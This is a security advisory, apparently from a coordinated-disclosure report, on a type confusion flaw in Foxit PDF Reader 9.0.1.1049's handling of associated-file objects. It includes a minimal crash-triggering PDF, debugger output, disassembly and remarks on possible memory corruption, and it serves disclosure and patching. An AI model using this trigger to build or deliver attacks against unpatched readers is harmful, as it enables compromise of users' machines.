### Summary An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. ### Tested Versions Foxit PDF Reader 9.0.1.1049 ### Product URLs https://www.foxitsoftware.com/products/pdf-reader/ ### CVSSv3 Score 6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ### CWE CWE-843 - Access of Resource Using Incompatible Type ### Details Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. While initially parsing a...
### Summary An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. ### Tested Versions Foxit PDF Reader 9.0.1.1049 ### Product URLs https://www.foxitsoftware.com/products/pdf-reader/ ### CVSSv3 Score 6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ### CWE CWE-843 - Access of Resource Using Incompatible Type ### Details Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. While initially parsing a specially crafted PDF file with a malformed associated file PDF object, the use of a memory object of an incompatible type can be triggered, which initially leads to out-of-bounds memory access. A shortened version of PDF file that triggers this bug is as follows: ``` 1 0 obj << /Pages 2 0 R /Type /Catalog /AF [ 3 0 R ] >> endobj 2 0 obj << /Count 1 /Type /Pages >> endobj 3 0 obj /F << >> endobj ``` In the above PDF, the AF dictionary in Catalog refers to object 3 0 which is expected to be of type FileSpec. A stray /F string makes the object malformed leading to the following crash while parsing: ``` (570.17c4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=8b53c2fd ebx=13462fe8 ecx=033b772c edx=00000000 esi=13462ffc edi=0000000e eip=01ffc94e esp=0018aa9c ebp=0018aaa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 FoxitReader!CertFreeCertificateChain+0xab056e: 01ffc94e f77608 div eax,dword ptr [esi+8] ds:0023:13463004=???????? 0:000> k # ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00 0018aaa0 01ffc991 FoxitReader!CertFreeCertificateChain+0xab056e 01 0018aab0 01e035e1 FoxitReader!CertFreeCertificateChain+0xab05b1 02 0018aac0 01ded5c7 FoxitReader!CertFreeCertificateChain+0x8b7201 03 0018ab04 56756fa9 FoxitReader!CertFreeCertificateChain+0x8a11e7 04 0018b358 00f1e470 PlgDynLoader!PlugInMain+0x5ef9 05 0018b370 010696b8 FoxitReader+0xce470 06 0018d750 01038083 FoxitReader+0x2196b8 07 0018fb24 01043697 FoxitReader+0x1e8083 08 0018fb50 0102b074 FoxitReader+0x1f3697 09 0018fbac 0102fa5c FoxitReader+0x1db074 0a 0019f7e8 02a4e5af FoxitReader+0x1dfa5c 0b 0019f7fc 028e89ca FoxitReader!CertFreeCertificateChain+0x15021cf 0c 0019f88c 75dcef8c FoxitReader!CertFreeCertificateChain+0x139c5ea 0d 0019f898 7721367a kernel32!BaseThreadInitThunk+0xe 0e 0019f8d8 7721364d ntdll!__RtlUserThreadStart+0x70 0f 0019f8f0 00000000 ntdll!_RtlUserThreadStart+0x1b The process crashes due to an out-of-bounds access of esi+8. Examining the memory pointed to by esi reveals the following: 0:000> !heap -p -a esi address 13462ffc found in _DPH_HEAP_ROOT @ 73c1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 133c098c: 13462fe8 18 - 13462000 2000 63398e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 028eee12 FoxitReader!CertFreeCertificateChain+0x013a2a32 01ff3ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5 01ff3ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1 01ff3f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31 0169e2fc FoxitReader!CertFreeCertificateChain+0x00151f1c 01df7fac FoxitReader!CertFreeCertificateChain+0x008abbcc 01df9e14 FoxitReader!CertFreeCertificateChain+0x008ada34 01dfd288 FoxitReader!CertFreeCertificateChain+0x008b0ea8 01e04fe3 FoxitReader!CertFreeCertificateChain+0x008b8c03 01e05299 FoxitReader!CertFreeCertificateChain+0x008b8eb9 01e054bb FoxitReader!CertFreeCertificateChain+0x008b90db 01e057f8 FoxitReader!CertFreeCertificateChain+0x008b9418 01ded546 FoxitReader!CertFreeCertificateChain+0x008a1166 01ded5a8 FoxitReader!CertFreeCertificateChain+0x008a11c8 56756fa9 PlgDynLoader!PlugInMain+0x00005ef9 00f1e470 FoxitReader+0x000ce470 010696b8 FoxitReader+0x002196b8 01038083 FoxitReader+0x001e8083 01043697 FoxitReader+0x001f3697 0102b074 FoxitReader+0x001db074 0102fa5c FoxitReader+0x001dfa5c 02a4e5af FoxitReader!CertFreeCertificateChain+0x015021cf 028e89ca FoxitReader!CertFreeCertificateChain+0x0139c5ea 75dcef8c kernel32!BaseThreadInitThunk+0x0000000e 7721367a ntdll!__RtlUserThreadStart+0x00000070 7721364d ntdll!_RtlUserThreadStart+0x0000001b ``` We can see that an access violation happens because esi+8 points four bytes after the end of a buffer of size 0x18. If we examine the function where the crash occurs, we can see the following: ``` .text:015AC93E sub_15AC93E proc near .text:015AC93E .text:015AC93E arg_0= dword ptr 8 .text:015AC93E arg_4= dword ptr 0Ch .text:015AC93E .text:015AC93E push ebp .text:015AC93F mov ebp, esp .text:015AC941 push esi .text:015AC942 push [ebp+arg_0] .text:015AC945 mov esi, ecx [1] .text:015AC947 call sub_15AC0F8 .text:015AC94C xor edx, edx .text:015AC94E div dword ptr [esi+8] [2] .text:015AC951 mov eax, [ebp+arg_4] .text:015AC954 mov [eax], edx .text:015AC956 mov esi, [esi+4] ``` Since this function is of type thiscall, at [1] we see a pointer to this being saved into esi. So, at the time of the crash at [2], esi is used as this. Since the allocated object is smaller, the out-of-bounds access leads to a crash if PageHeap is enabled. Without PageHeap, and if the adjacent memory is carefully manipulated, the invalid read will succeed, leading to further memory corruption. With careful memory layout manipulation and object placement, it could be possible to abuse this to leak arbitrary memory content or write to arbitrary memory. ### Timeline * 2018-02-12 - Vendor Disclosure * 2018-04-01 - Vendor pushed release to mid April * 2018-04-19 - Vendor patch released * 2018-04-19 - Public disclosure